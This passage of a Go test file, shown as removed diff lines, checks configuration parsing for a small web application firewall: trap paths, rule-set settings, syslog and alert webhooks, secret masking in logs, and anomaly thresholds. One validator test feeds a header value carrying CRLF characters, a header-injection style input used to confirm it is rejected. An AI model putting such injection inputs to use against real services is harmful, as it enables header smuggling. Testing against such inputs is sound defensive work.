!slices.Equal(cfg.RateLimitExemptPaths, []string{"/assets/", "/favicon.ico"}) { - t.Errorf("%s gave %v, want /assets/ and /favicon.ico", - rateLimitExemptPaths, cfg.RateLimitExemptPaths) - } -} - -func TestPathPrefixNotStartingWithSlashStopsTheStart(t *testing.T) { - t.Parallel() - - _, err := config.FromEnvironment( - environment{rateLimitExemptPaths: "/favicon.ico,assets/"}.lookupEnv) - - want := rateLimitExemptPaths + `: "assets/" is not a path prefix ` + - `starting with /, such as /assets/` - if err == nil || err.Error() != want { - t.Errorf("error %v, want %s", err, want) - } -} - -func TestTrapPathsAndErrorBurstThreshold(t *testing.T) { - t.Parallel() - - for _, tc := range []struct { - env environment - paths []string - threshold int64 - }{ - {environment{}, []string{}, 30}, - { - environment{trapPaths: "/wp-login.php, /xmlrpc.php", errorBurstThreshold: "5"}, - []string{"/wp-login.php", "/xmlrpc.php"}, 5, - }, - {environment{errorBurstThreshold: off}, []string{}, 0}, - } { - cfg := fromEnvironment(t, tc.env) - if !slices.Equal(cfg.TrapPaths, tc.paths) || - cfg.ErrorBurstThreshold != tc.threshold { - t.Errorf("%v gave %v and %d, want %v and %d", tc.env, cfg.TrapPaths, - cfg.ErrorBurstThreshold, tc.paths, tc.threshold) - } - } -} - -func TestInvalidTrapPathOrErrorBurstThresholdStopsTheStart(t *testing.T) { - t.Parallel() - - const notTrapPath = " is not a path starting with / and without a ?, " + - "such as /wp-login.php" - - for _, tc := range []struct{ name, value, want string }{ - {trapPaths, "/wp-login.php,xmlrpc.php", `"xmlrpc.php"` + notTrapPath}, - {trapPaths, "/xmlrpc.php?rsd", `"/xmlrpc.php?rsd"` + notTrapPath}, - { - trapPaths, "/wp-login.php,,/xmlrpc.php", - `"/wp-login.php,,/xmlrpc.php" has an empty item in its list`, - }, - {errorBurstThreshold, "0", `"0" must be more than zero, or off`}, - { - errorBurstThreshold, "30/min", - `"30/min" is not a whole number of requests such as 1000, or off`, - }, - } { - t.Run(tc.name+"="+tc.value, func(t *testing.T) { - t.Parallel() - - _, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv) - - want := tc.name + ": " + tc.want - if err == nil || err.Error() != want { - t.Errorf("error %v, want %s", err, want) - } - }) - } -} - -func TestCoreRuleSetSettings(t *testing.T) { - t.Parallel() - - for _, tc := range []struct { - env environment - want config.Config - }{ - { - environment{}, - config.Config{ - WAFMode: config.WAFModeBlock, WAFParanoiaLevel: 1, WAFAnomalyThreshold: 5, - WAFDisabledRules: []int{920340, 920420, 920440, 920640, 930130, 930140}, - WAFExemptPaths: []string{}, - }, - }, - { - environment{ - wafMode: config.WAFModeDetect, wafParanoiaLevel: "4", wafAnomalyThreshold: "10", - wafDisabledRules: "942100, 920350", wafExemptPaths: "/api/, /static/", - wafBodyLimit: "32K", - }, - config.Config{ - WAFMode: config.WAFModeDetect, WAFParanoiaLevel: 4, WAFAnomalyThreshold: 10, - WAFDisabledRules: []int{942100, 920350}, - WAFExemptPaths: []string{"/api/", "/static/"}, - WAFBodyLimit: 32 << 10, - }, - }, - { - environment{ - wafMode: off, wafAnomalyThreshold: off, wafDisabledRules: "", - wafBodyLimit: off, - }, - config.Config{ - WAFMode: config.WAFModeOff, WAFParanoiaLevel: 1, WAFAnomalyThreshold: 0, - WAFDisabledRules: []int{}, WAFExemptPaths: []string{}, - }, - }, - } { - cfg := fromEnvironment(t, tc.env) - - got := config.Config{ - WAFMode: cfg.WAFMode, WAFParanoiaLevel: cfg.WAFParanoiaLevel, - WAFAnomalyThreshold: cfg.WAFAnomalyThreshold, - WAFDisabledRules: cfg.WAFDisabledRules, WAFExemptPaths: cfg.WAFExemptPaths, - WAFBodyLimit: cfg.WAFBodyLimit, - } - if !reflect.DeepEqual(got, tc.want) { - t.Errorf("%v gave\n%+v\nwant\n%+v", tc.env, got, tc.want) - } - } -} - -func TestWAFBodyLimitOf64K(t *testing.T) { - t.Parallel() - - cfg := fromEnvironment(t, environment{wafBodyLimit: "64K"}) - if cfg.WAFBodyLimit != 64<<10 { - t.Errorf("64K read as %d", cfg.WAFBodyLimit) - } -} - -func TestInvalidCoreRuleSetSettingStopsTheStart(t *testing.T) { - t.Parallel() - - const ( - notParanoiaLevel = " is not a paranoia level, from 1 to 4" - setupRule = " is from 900000 to 900999, the ids of the rules that set " + - "the Core Rule Set up and of smallwebwaf's own, which cannot be switched off" - ) - - for _, tc := range []struct{ name, value, want string }{ - {wafMode, "enforce", `"enforce" is not off, detect or block`}, - {wafParanoiaLevel, "0", `"0"` + notParanoiaLevel}, - {wafParanoiaLevel, "5", `"5"` + notParanoiaLevel}, - {wafParanoiaLevel, off, `"off"` + notParanoiaLevel}, - { - wafAnomalyThreshold, "0", - `"0" is not a whole number above zero, such as 60, or off`, - }, - { - wafDisabledRules, "920340,REQUEST-920", - `"REQUEST-920" is not the id of a Core Rule Set rule, ` + - `a whole number such as 942100`, - }, - { - wafDisabledRules, "-942100", - `"-942100" is not the id of a Core Rule Set rule, ` + - `a whole number such as 942100`, - }, - // The paranoia level, the allowed methods, the headers refused, a - // request with more query parameters than Coraza keeps, and a body - // Coraza cannot parse or that fails its strict checks. - {wafDisabledRules, "942100,900000", `"900000"` + setupRule}, - {wafDisabledRules, "942100,900200", `"900200"` + setupRule}, - {wafDisabledRules, "942100,900250", `"900250"` + setupRule}, - {wafDisabledRules, "942100,900300", `"900300"` + setupRule}, - {wafDisabledRules, "942100,900440", `"900440"` + setupRule}, - {wafDisabledRules, "942100,900450", `"900450"` + setupRule}, - { - wafExemptPaths, "api/", - `"api/" is not a path prefix starting with /, such as /assets/`, - }, - { - wafBodyLimit, "128KB", - `"128KB" is not a size such as 512K, 100M or 5G, or off`, - }, - {wafBodyLimit, "65K", `"65K" is more than 64K, the most servewaf gets of a body`}, - { - wafBodyLimit, "65537", - `"65537" is more than 64K, the most servewaf gets of a body`, - }, - } { - t.Run(tc.name+"="+tc.value, func(t *testing.T) { - t.Parallel() - - _, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv) - - want := tc.name + ": " + tc.want - if err == nil || err.Error() != want { - t.Errorf("error %v, want %s", err, want) - } - }) - } -} - -func TestInstanceNameAndLoggedHeadersAsSet(t *testing.T) { - t.Parallel() - - cfg := fromEnvironment(t, environment{ - instanceName: "fsn1app1/gitea", - logRequestHeaders: " Accept , X-Custom", - }) - - if cfg.InstanceName != "fsn1app1/gitea" || - !slices.Equal(cfg.LogRequestHeaders, []string{"accept", "x-custom"}) { - t.Errorf("%s is %q and %s gives %v", instanceName, cfg.InstanceName, - logRequestHeaders, cfg.LogRequestHeaders) - } -} - -func TestRemoteLogSettingsDefaults(t *testing.T) { - t.Parallel() - - cfg := fromEnvironment(t, environment{instanceName: instance}) - - if cfg.LogRemoteURL != nil || cfg.LogRemoteTLSCAs != nil || - cfg.LogRemoteBuffer != 10000 || cfg.LogRemoteFacility != 16 || - cfg.LogRemoteAppName != instance { - t.Errorf("remote log settings %v, %v, %d, %d and %q, want no URL, no "+ - "certificates, 10000, 16 and %s's %s", cfg.LogRemoteURL, - cfg.LogRemoteTLSCAs, cfg.LogRemoteBuffer, cfg.LogRemoteFacility, - cfg.LogRemoteAppName, instanceName, instance) - } -} - -func TestRemoteLogSettingsAsSet(t *testing.T) { - t.Parallel() - - caFile := filepath.Join(t.TempDir(), "ca.pem") - - err := os.WriteFile(caFile, []byte(testCA), 0o600) - if err != nil { - t.Fatalf("write %s: %v", caFile, err) - } - - cfg := fromEnvironment(t, environment{ - logRemoteURL: "syslog+tls://logs.example:6514", - logRemoteTLSCAFile: caFile, - logRemoteBuffer: "500", - logRemoteFacility: "daemon", - logRemoteAppName: instance, - }) - - roots := x509.NewCertPool() - roots.AppendCertsFromPEM([]byte(testCA)) - - if cfg.LogRemoteURL.String() != "syslog+tls://logs.example:6514" || - !roots.Equal(cfg.LogRemoteTLSCAs) || cfg.LogRemoteBuffer != 500 || - cfg.LogRemoteFacility != 3 || cfg.LogRemoteAppName != instance { - t.Errorf("remote log settings %v, %v, %d, %d and %q", cfg.LogRemoteURL, - cfg.LogRemoteTLSCAs, cfg.LogRemoteBuffer, cfg.LogRemoteFacility, - cfg.LogRemoteAppName) - } -} - -func TestRemoteLogURLForms(t *testing.T) { - t.Parallel() - - for _, value := range []string{ - "syslog+udp://192.0.2.1:514", - "syslog+tcp://[2001:db8::1]:514", - "syslog+tls://logs.example:6514/", - } { - cfg := fromEnvironment(t, environment{logRemoteURL: value}) - if cfg.LogRemoteURL.String() != value { - t.Errorf("%s read as %v", value, cfg.LogRemoteURL) - } - } - - cfg := fromEnvironment(t, environment{logRemoteURL: ""}) - if cfg.LogRemoteURL != nil { - t.Errorf("set but empty, %s read as %v", logRemoteURL, cfg.LogRemoteURL) - } -} - -func TestRemoteLogFacilitiesByNumber(t *testing.T) { - t.Parallel() - - for name, number := range map[string]int{ - "kern": 0, "user": 1, "auth": 4, "authpriv": 10, "ftp": 11, - "local0": 16, "local5": 21, "local7": 23, - } { - cfg := fromEnvironment(t, environment{logRemoteFacility: name}) - if cfg.LogRemoteFacility != number { - t.Errorf("%s read as %d, want %d", name, cfg.LogRemoteFacility, number) - } - } -} - -func TestInvalidRemoteLogSettingStopsTheStart(t *testing.T) { - t.Parallel() - - for _, tc := range []struct{ name, value string }{ - {logRemoteURL, "logs.example:514"}, - {logRemoteURL, "syslog://logs.example:514"}, - {logRemoteURL, "http://logs.example:514"}, - {logRemoteURL, "syslog+udp://logs.example"}, - {logRemoteURL, "syslog+tcp://:514"}, - {logRemoteURL, "syslog+tcp://logs.example:0"}, - {logRemoteURL, "syslog+tls://logs.example:65536"}, - {logRemoteURL, "syslog+tls://user@logs.example:6514"}, - {logRemoteURL, "syslog+tcp://logs.example:514/app"}, - {logRemoteURL, "syslog+tcp://logs.example:514?tls=1"}, - {logRemoteTLSCAFile, "/nonexistent/ca.pem"}, - {logRemoteBuffer, off}, {logRemoteBuffer, "0"}, {logRemoteBuffer, "10K"}, - {logRemoteFacility, "local8"}, {logRemoteFacility, "LOCAL0"}, - {logRemoteFacility, "16"}, {logRemoteFacility, ""}, - {logRemoteAppName, ""}, {logRemoteAppName, "my app"}, - {logRemoteAppName, "gitéa"}, {logRemoteAppName, strings.Repeat("a", 49)}, - } { - _, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv) - if err == nil || !strings.HasPrefix(err.Error(), tc.name+": ") { - t.Errorf("%s=%q: error %v, want one naming it", tc.name, tc.value, err) - } - } -} - -func TestRemoteLogCAFileWithoutCertificateStopsTheStart(t *testing.T) { - t.Parallel() - - caFile := filepath.Join(t.TempDir(), "ca.pem") - - err := os.WriteFile(caFile, []byte("not a certificate\n"), 0o600) - if err != nil { - t.Fatalf("write %s: %v", caFile, err) - } - - _, err = config.FromEnvironment(environment{logRemoteTLSCAFile: caFile}.lookupEnv) - - want := logRemoteTLSCAFile + `: "` + caFile + `" holds no PEM certificate` - if err == nil || err.Error() != want { - t.Errorf("error %v, want %s", err, want) - } -} - -func TestInstanceNameNotAnAppNameStopsTheStartOnlyWhileSending(t *testing.T) { - t.Parallel() - - const spaced = "fsn1 app1" - - sending := environment{logRemoteURL: remoteURL, instanceName: spaced} - - _, err := config.FromEnvironment(sending.lookupEnv) - - want := logRemoteAppName + `: is unset, and ` + instanceName + - ` "fsn1 app1", its default, is not 1 to 48 printable ASCII characters ` + - `without a space, such as gitea` - if err == nil || err.Error() != want { - t.Errorf("error %v, want %s", err, want) - } - - cfg := fromEnvironment(t, environment{instanceName: spaced}) - if cfg.LogRemoteAppName != spaced { - t.Errorf("not sending, %s is %q", logRemoteAppName, cfg.LogRemoteAppName) - } - - sending[logRemoteAppName] = instance - - cfg = fromEnvironment(t, sending) - if cfg.LogRemoteAppName != instance { - t.Errorf("set to %s, %s is %q", instance, logRemoteAppName, - cfg.LogRemoteAppName) - } -} - -func TestAppNameSetStopsTheStartWhileSending(t *testing.T) { - t.Parallel() - - _, err := config.FromEnvironment(environment{ - logRemoteURL: remoteURL, - instanceName: instance, - logRemoteAppName: "my app", - }.lookupEnv) - - want := logRemoteAppName + `: "my app" is not 1 to 48 printable ASCII ` + - `characters without a space, such as gitea` - if err == nil || err.Error() != want { - t.Errorf("error %v, want %s", err, want) - } -} - -func TestAlertSettingsDefaults(t *testing.T) { - t.Parallel() - - cfg := fromEnvironment(t, environment{}) - - if cfg.AlertWebhookURL != nil || len(cfg.AlertWebhookHeaders) != 0 || - cfg.AlertSlackWebhookURL != nil || cfg.AlertNtfyURL != nil || - cfg.AlertNtfyToken != "" || - strings.Join(cfg.AlertEvents, ",") != defaultAlertEvents || - cfg.AlertCooldown != 15*time.Minute || cfg.AlertMaxPerHour != 60 { - t.Errorf("alert settings %v, %v, %v, %v, %q, %v, %s and %d, want no URLs, "+ - "no headers, no token, %s, 15m and 60", cfg.AlertWebhookURL, - cfg.AlertWebhookHeaders, cfg.AlertSlackWebhookURL, cfg.AlertNtfyURL, - cfg.AlertNtfyToken, cfg.AlertEvents, cfg.AlertCooldown, cfg.AlertMaxPerHour, - defaultAlertEvents) - } -} - -func TestAlertSettingsAsSet(t *testing.T) { - t.Parallel() - - const ( - webhook = "https://alerts.example:8443/hooks/waf?team=ops" - slack = "https://hooks.slack.example/services/T0123/B4567/abcdef" - ntfy = "https://ntfy.example/smallwebwaf-alerts" - token = "tk_0123456789abcdefghijklmnopq" - ) - - cfg := fromEnvironment(t, environment{ - alertWebhookURL: webhook, - alertWebhookHeaders: "Authorization: Bearer abc:def , x-team:ops", - alertSlackWebhookURL: slack, - alertNtfyURL: ntfy, - alertNtfyToken: token, - alertEvents: "ban, file_error", - alertCooldown: "1h", - alertMaxPerHour: "10", - }) - - headers := http.Header{"Authorization": {"Bearer abc:def"}, "X-Team": {"ops"}} - if cfg.AlertWebhookURL.String() != webhook || - !reflect.DeepEqual(cfg.AlertWebhookHeaders, headers) || - cfg.AlertSlackWebhookURL.String() != slack || cfg.AlertNtfyURL.String() != ntfy || - cfg.AlertNtfyToken != token || - !slices.Equal(cfg.AlertEvents, []string{"ban", "file_error"}) || - cfg.AlertCooldown != time.Hour || cfg.AlertMaxPerHour != 10 { - t.Errorf("alert settings %v, %v, %v, %v, %q, %v, %s and %d", cfg.AlertWebhookURL, - cfg.AlertWebhookHeaders, cfg.AlertSlackWebhookURL, cfg.AlertNtfyURL, - cfg.AlertNtfyToken, cfg.AlertEvents, cfg.AlertCooldown, cfg.AlertMaxPerHour) - } -} - -func TestAlertSettingsSetEmptyOrOff(t *testing.T) { - t.Parallel() - - cfg := fromEnvironment(t, environment{ - alertWebhookURL: "", alertSlackWebhookURL: "", alertNtfyURL: "", - alertNtfyToken: "", alertEvents: "", alertCooldown: off, alertMaxPerHour: off, - }) - if cfg.AlertWebhookURL != nil || cfg.AlertSlackWebhookURL != nil || - cfg.AlertNtfyURL != nil || cfg.AlertNtfyToken != "" || - len(cfg.AlertEvents) != 0 || cfg.AlertCooldown != 0 || cfg.AlertMaxPerHour != 0 { - t.Errorf("set empty or off, alert settings %v, %v, %v, %q, %v, %s and %d", - cfg.AlertWebhookURL, cfg.AlertSlackWebhookURL, cfg.AlertNtfyURL, - cfg.AlertNtfyToken, cfg.AlertEvents, cfg.AlertCooldown, cfg.AlertMaxPerHour) - } -} - -func TestInvalidAlertSettingStopsTheStart(t *testing.T) { - t.Parallel() - - wantStartStopped(t, []struct{ name, value string }{ - {alertWebhookURL, "alerts.example/smallwebwaf"}, - {alertWebhookURL, "ftp://alerts.example/"}, - {alertWebhookURL, "https:///smallwebwaf"}, - {alertWebhookURL, "https://user:password@alerts.example/"}, - {alertWebhookURL, "https://alerts.example/#top"}, - {alertWebhookURL, "https://alerts.example:0/"}, - {alertWebhookURL, "https://alerts.example:65536/"}, - {alertSlackWebhookURL, "hooks.slack.example/services/T0123"}, - {alertSlackWebhookURL, "https://user:password@hooks.slack.example/"}, - {alertNtfyURL, "ntfy://ntfy.example/smallwebwaf-alerts"}, - {alertNtfyURL, "https://ntfy.example/smallwebwaf-alerts#top"}, - {alertWebhookHeaders, "Authorization"}, - {alertWebhookHeaders, "X Team:ops"}, - {alertWebhookHeaders, ":ops"}, - {alertWebhookHeaders, "X-Team:ops,"}, - {alertWebhookHeaders, "X-Team:o\r\nps"}, - {alertEvents, "bans"}, - {alertEvents, "summary"}, - {alertEvents, "ban,,file_error"}, - {alertCooldown, "0"}, - {alertCooldown, "soon"}, - {alertMaxPerHour, "0"}, - {alertMaxPerHour, "-1"}, - {alertMaxPerHour, "1.5"}, - }) -} - -func TestWebhookHeadersAreLoggedMaskedAndNeverShown(t *testing.T) { - t.Parallel() - - const secret = "Bearer 0123456789abcdef" - - cfg := fromEnvironment(t, environment{ - alertWebhookHeaders: "Authorization:" + secret + ",X-Team:ops", - }) - - var out bytes.Buffer - - slog.New(slog.NewJSONHandler(&out, nil)).Info("starting", "settings", cfg) - - logged := out.String() - if strings.Contains(logged, secret) || strings.Contains(logged, "ops") || - !strings.Contains(logged, - `"`+alertWebhookHeaders+`":"Authorization:********,X-Team:********"`) { - t.Errorf("the headers are not logged masked: %s", logged) - } - - // An item that is not a header is named by its place, not shown. - _, err := config.FromEnvironment(environment{ - alertWebhookHeaders: "X-Team:ops," + secret, - }.lookupEnv) - - want := alertWebhookHeaders + ": item 2 is not a header name followed by : " + - "and the header's value, such as Authorization:Bearer " - if err == nil || err.Error() != want { - t.Errorf("error %v, want %s", err, want) - } -} - -func TestWebhookURLIsLoggedWithoutItsPathOrQueryAndNeverShown(t *testing.T) { - t.Parallel() - - const secret = "T0123/B4567/abcdef" - - for value, want := range map[string]string{ - "https://hooks.example/services/" + secret: "https://hooks.example/********", - "https://hooks.example:8443?token=" + secret: "https://hooks.example:8443/********", - "http://[2001:db8::1]:8080": "http://[2001:db8::1]:8080", - } { - cfg := fromEnvironment(t, environment{alertWebhookURL: value}) - - var out bytes.Buffer - - slog.New(slog.NewJSONHandler(&out, nil)).Info("starting", "settings", cfg) - - logged := out.String() - if strings.Contains(logged, secret) || - !strings.Contains(logged, `"`+alertWebhookURL+`":"`+want+`"`) { - t.Errorf("%s is not logged as %s: %s", value, want, logged) - } - } - - // A value that is not such a URL is not shown either. - for _, value := range []string{ - "ftp://hooks.example/services/" + secret, - "https://hooks.example/services/%zz" + secret, - } { - _, err := config.FromEnvironment(environment{alertWebhookURL: value}.lookupEnv) - - want := alertWebhookURL + ": is not an http or https URL without a user or " + - "a fragment, such as https://alerts.example/smallwebwaf" - if err == nil || err.Error() != want { - t.Errorf("error %v, want %s", err, want) - } - } -} - -func TestSlackAndNtfySettingsAreLoggedWithoutTheirSecrets(t *testing.T) { - t.Parallel() - - const token = "tk_0123456789abcdefghijklmnopq" - - cfg := fromEnvironment(t, environment{ - alertSlackWebhookURL: "https://hooks.slack.example/services/T0123/B4567/abcdef", - alertNtfyURL: "https://ntfy.example/smallwebwaf-alerts", - alertNtfyToken: token, - }) - - var out bytes.Buffer - - slog.New(slog.NewJSONHandler(&out, nil)).Info("starting", "settings", cfg) - - logged := out.String() - for _, want := range []string{ - `"` + alertSlackWebhookURL + `":"https://hooks.slack.example/********"`, - `"` + alertNtfyURL + `":"https://ntfy.example/********"`, - `"` + alertNtfyToken + `":"********"`, - } { - if !strings.Contains(logged, want) { - t.Errorf("no %s in the settings logged: %s", want, logged) - } - } - - for _, secret := range []string{"T0123", "smallwebwaf-alerts", token} { - if strings.Contains(logged, secret) { - t.Errorf("%s in the settings logged: %s", secret, logged) - } - } -} - -func TestNtfyTokenWithAControlCharacterStopsTheStartWithoutShowingIt(t *testing.T) { - t.Parallel() - - // A file saved with Windows line ends keeps the carriage return. - for name, env := range map[string]environment{ - "set": {alertNtfyToken: token + "\r"}, - "in a file": {alertNtfyToken + "_FILE": writeFile(t, token+"\r\n")}, - } { - _, err := config.FromEnvironment(env.lookupEnv) - - want := alertNtfyToken + ": holds a control character, such as the " + - "carriage return of a Windows line end" - if err == nil || err.Error() != want { - t.Errorf("%s: error %v, want %s", name, err, want) - } - } -} - -func TestInstanceNameWithAControlCharacterStopsTheStartOnlyWithNtfySet(t *testing.T) { - t.Parallel() - - const name = "fsn1app1\r" - - _, err := config.FromEnvironment(environment{ - instanceName: name, alertNtfyURL: "https://ntfy.example/smallwebwaf-alerts", - }.lookupEnv) - - want := instanceName + `: "fsn1app1\r" holds a control character, such as the ` + - `carriage return of a Windows line end, and is sent to ntfy in a header ` + - `while ` + alertNtfyURL + ` is set` - if err == nil || err.Error() != want { - t.Errorf("error %v, want %s", err, want) - } - - cfg := fromEnvironment(t, environment{instanceName: name}) - if cfg.InstanceName != name { - t.Errorf("not sending to ntfy, %s is %q", instanceName, cfg.InstanceName) - } -} - -func TestInstanceNameNotUTF8StopsTheStart(t *testing.T) { - t.Parallel() - - // café saved in Latin-1. - const latin1 = "caf\xe9" - - for name, env := range map[string]environment{ - "set": {instanceName: latin1}, - "in a file": {instanceName + "_FILE": writeFile(t, latin1+"\n")}, - } { - _, err := config.FromEnvironment(env.lookupEnv) - - want := instanceName + `: "caf\xe9" is not valid UTF-8` - if err == nil || err.Error() != want { - t.Errorf("%s: error %v, want %s", name, err, want) - } - } -} - -func TestCodeOnBothCountryListsStopsTheStart(t *testing.T) { - t.Parallel() - - _, err := config.FromEnvironment(environment{ - deniedCountries: "cn,ru", - allowedCountries: "de,RU", - }.lookupEnv) - if err == nil { - t.Fatal("ru on both country lists was accepted") - } - - if !strings.HasPrefix(err.Error(), allowedCountries+": ") || - !strings.Contains(err.Error(), `"RU"`) { - t.Errorf("error %q does not name %s and RU", err, allowedCountries) - } -} - -func TestLookupSettingsAsSet(t *testing.T) { - t.Parallel() - - cfg := fromEnvironment(t, environment{ - lookupTimeout: "500ms", addLookupHeaders: enabled, - }) - wantLookupSettings(t, cfg, config.Config{ - LookupSource: defaultLookupSource, LookupTimeout: 500 * time.Millisecond, - AddLookupHeaders: true, - }) - - cfg = fromEnvironment(t, environment{lookupSource: off}) - wantLookupSettings(t, cfg, config.Config{ - LookupSource: off, LookupTimeout: 800 * time.Millisecond, - }) -} - -func TestLookupDBPathGoesWithTheFileSourceAlone(t *testing.T) { - t.Parallel() - - const path = "/var/lib/ipinfo/ipinfo_lite.mmdb" - - cfg := fromEnvironment(t, environment{lookupSource: fileSource, lookupDBPath: path}) - if cfg.LookupSource != fileSource || cfg.LookupDBPath != path { - t.Errorf("lookups from %q in %q, want file in %q", - cfg.LookupSource, cfg.LookupDBPath, path) - } - - for _, tc := range []struct { - env environment - want string - }{ - { - environment{lookupSource: fileSource}, - lookupSource + ": is file while " + lookupDBPath + - " is unset; it names the file to look clients up in", - }, - { - environment{lookupSource: fileSource, lookupDBPath: ""}, - lookupSource + ": is file while " + lookupDBPath + - " is unset; it names the file to look clients up in", - }, - { - environment{lookupDBPath: path}, - lookupDBPath + ": is set while " + lookupSource + " is geojs; only file reads it", - }, - { - environment{lookupSource: off, lookupDBPath: path}, - lookupDBPath + ": is set while " + lookupSource + " is off; only file reads it", - }, - } { - _, err := config.FromEnvironment(tc.env.lookupEnv) - if err == nil || err.Error() != tc.want { - t.Errorf("settings %v: error %v, want %s", tc.env, err, tc.want) - } - } -} - -func TestSettingNeedingLookupsStopsTheStartWhileTheyAreOff(t *testing.T) { - t.Parallel() - - for name, value := range map[string]string{ - deniedCountries: "kp", - allowedCountries: "de", - addLookupHeaders: enabled, - asnLimitPercentURL: asnURL, - asnLimitPercent: "AS64496:50", - countryLimitPercent: "cn:25", - asnBytesPercent: "AS64496:50", - countryBytesPercent: "cn:25", - unknownLimitPercent: "99", - anomalyASN + requestsPerMinute: "1000", - anomalyASN + requestsPerHour: "10000", - anomalyASN + bytesPerMinute: "1G", - anomalyASN + bytesPerHour: "10G", - } { - t.Run(name, func(t *testing.T) { - t.Parallel() - - _, err := config.FromEnvironment(environment{ - lookupSource: off, name: value, - }.lookupEnv) - if err == nil || !strings.HasPrefix(err.Error(), name+": ") || - !strings.Contains(err.Error(), lookupSource+" is off") { - t.Errorf("error %v, want one naming %s and %s", err, name, lookupSource) - } - }) - } - - // Set empty, the lists need nothing looked up, and nor does - // SWWAF_UNKNOWN_LIMIT_PERCENT at 100, which lowers no limit, an anomaly - // threshold per AS number that is off, any other anomaly threshold, or - // a blocklist. - env := environment{ - lookupSource: off, deniedCountries: "", allowedCountries: "", - asnLimitPercent: "", countryLimitPercent: "", asnBytesPercent: "", - countryBytesPercent: "", unknownLimitPercent: "100", asnLimitPercentURL: "", - blocklistURLs: dropURL, - } - for _, name := range anomalyThresholds() { - env[name] = "1000" - if strings.HasPrefix(name, anomalyASN) { - env[name] = off - } - } - - fromEnvironment(t, env) -} - -func TestAnomalySettingsDefaults(t *testing.T) { - t.Parallel() - - cfg := fromEnvironment(t, environment{}) - wantAllOff(t, cfg) - - if cfg.AnomalyNetV4Prefix != 24 || cfg.AnomalyNetV6Prefix != 48 || - len(cfg.WatchNets) != 0 { - t.Errorf("%s, %s and %s gave %d, %d and %v, want 24, 48 and none", - anomalyNetV4Prefix, anomalyNetV6Prefix, watchNets, cfg.AnomalyNetV4Prefix, - cfg.AnomalyNetV6Prefix, cfg.WatchNets) - } -} - -func TestAnomalySettingsAsSet(t *testing.T) { - t.Parallel() - - // Each threshold of a scope its own value; bytes are sizes. - env := environment{ - anomalyNetV4Prefix: "16", - anomalyNetV6Prefix: "56", - // Spaces around a name or a netblock, and a bare address. - watchNets: "office = 203.0.113.0/24, scraper-x=198.51.100.7,v6=2001:db8::/32", - } - want := map[string]anomaly.Thresholds{} - - for i, scope := range anomalyScopes() { - n := int64(i + 1) - env[scope+requestsPerMinute] = strconv.FormatInt(n, 10) - env[scope+requestsPerHour] = strconv.FormatInt(10*n, 10) - env[scope+bytesPerMinute] = strconv.FormatInt(n, 10) + "K" - env[scope+bytesPerHour] = strconv.FormatInt(n, 10) + "G" - want[scope] = anomaly.Thresholds{ - RequestsPerMinute: n, RequestsPerHour: 10 * n, - BytesPerMinute: n << 10, BytesPerHour: n << 30, - } - } - - cfg := fromEnvironment(t, env) - - if got := thresholdsByScope(cfg); !maps.Equal(got, want) { - t.Errorf("thresholds by scope\n%+v\nwant\n%+v", got, want) - } - - wantNamed := []anomaly.NamedNetblock{ - {Name: "office", Netblock: netip.MustParsePrefix("203.0.113.0/24")}, - {Name: "scraper-x", Netblock: netip.MustParsePrefix("198.51.100.7/32")}, - {Name: "v6", Netblock: netip.MustParsePrefix("2001:db8::/32")}, - } - if cfg.AnomalyNetV4Prefix != 16 || cfg.AnomalyNetV6Prefix != 56 || - !slices.Equal(cfg.WatchNets, wantNamed) { - t.Errorf("%s, %s and %s gave %d, %d and %v, want 16, 56 and %v", - anomalyNetV4Prefix, anomalyNetV6Prefix, watchNets, cfg.AnomalyNetV4Prefix, - cfg.AnomalyNetV6Prefix, cfg.WatchNets, wantNamed) - } - - // off switches each threshold off. - for _, name := range anomalyThresholds() { - env[name] = off - } - - wantAllOff(t, fromEnvironment(t, env)) -} - -// thresholdsByScope returns cfg's anomaly thresholds, each by the prefix -// of its scope's settings. -func thresholdsByScope(cfg *config.Config) map[string]anomaly.Thresholds { - return map[string]anomaly.Thresholds{ - anomalyClient: cfg.AnomalyClient, anomalyNet: cfg.AnomalyNet, - anomalyASN: cfg.AnomalyASN, anomalyTotal: cfg.AnomalyTotal, - watch: cfg.AnomalyWatch, - } -} - -// wantAllOff checks that every anomaly threshold of cfg is off. -func wantAllOff(t *testing.T, cfg *config.Config) { - t.Helper() - - for scope, thresholds := range thresholdsByScope(cfg) { - if thresholds != (anomaly.Thresholds{}) { - t.Errorf("%s* gave %+v, want every one off", scope, thresholds) - } - } -} - -func TestInvalidAnomalySettingStopsTheStartSayingWhatIsWrong(t *testing.T) { - t.Parallel() - - const ( - notCount = " is not a whole number of requests such as 1000, or off" - notSize = " is not a size such as 512K, 100M or 5G, or off" - notPositive = " must be more than zero, or off" - notNamed = " is not a name, = and a netblock, such as office=203.0.113.0/24" - notNetblock = " is not a netblock such as 10.0.0.0/8, or an address" - notV4Prefix = " is not the length of an IPv4 netblock, from 0 to 32, such as 24" - notV6Prefix = " is not the length of an IPv6 netblock, from 0 to 128, such as 48" - officeNetblock = "office=203.0.113.0/24" - scraperNetblock = "scraper=198.51.100.0/24" - ) - - for _, tc := range []struct{ name, value, want string }{ - {anomalyClient + requestsPerMinute, "1K", `"1K"` + notCount}, - {anomalyNet + requestsPerHour, "0", `"0"` + notPositive}, - {anomalyTotal + bytesPerMinute, "1T", `"1T"` + notSize}, - {watch + bytesPerHour, "-1G", `"-1G"` + notPositive}, - {anomalyNetV4Prefix, "33", `"33"` + notV4Prefix}, - {anomalyNetV4Prefix, off, `"off"` + notV4Prefix}, - {anomalyNetV6Prefix, "129", `"129"` + notV6Prefix}, - {anomalyNetV6Prefix, "/48", `"/48"` + notV6Prefix}, - {watchNets, "office", `"office"` + notNamed}, - {watchNets, "=203.0.113.0/24", `"=203.0.113.0/24"` + notNamed}, - {watchNets, "office=203.0.113.300/24", `"203.0.113.300/24"` + notNetblock}, - {watchNets, officeNetblock + ",", `"` + officeNetblock + `," has an empty item ` + - `in its list`}, - { - watchNets, officeNetblock + "," + scraperNetblock + ",office=192.0.2.0/24", - `"office" is listed twice`, - }, - } { - t.Run(tc.name+"="+tc.value, func(t *testing.T) { - t.Parallel() - - _, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv) - - want := tc.name + ": " + tc.want - if err == nil || err.Error() != want { - t.Errorf("error %v, want %s", err, want) - } - }) - } -} - -func TestBiasedThresholdsAsSet(t *testing.T) { - t.Parallel() - - cfg := fromEnvironment(t, environment{}) - if len(cfg.ASNLimitPercent) != 0 || len(cfg.CountryLimitPercent) != 0 || - 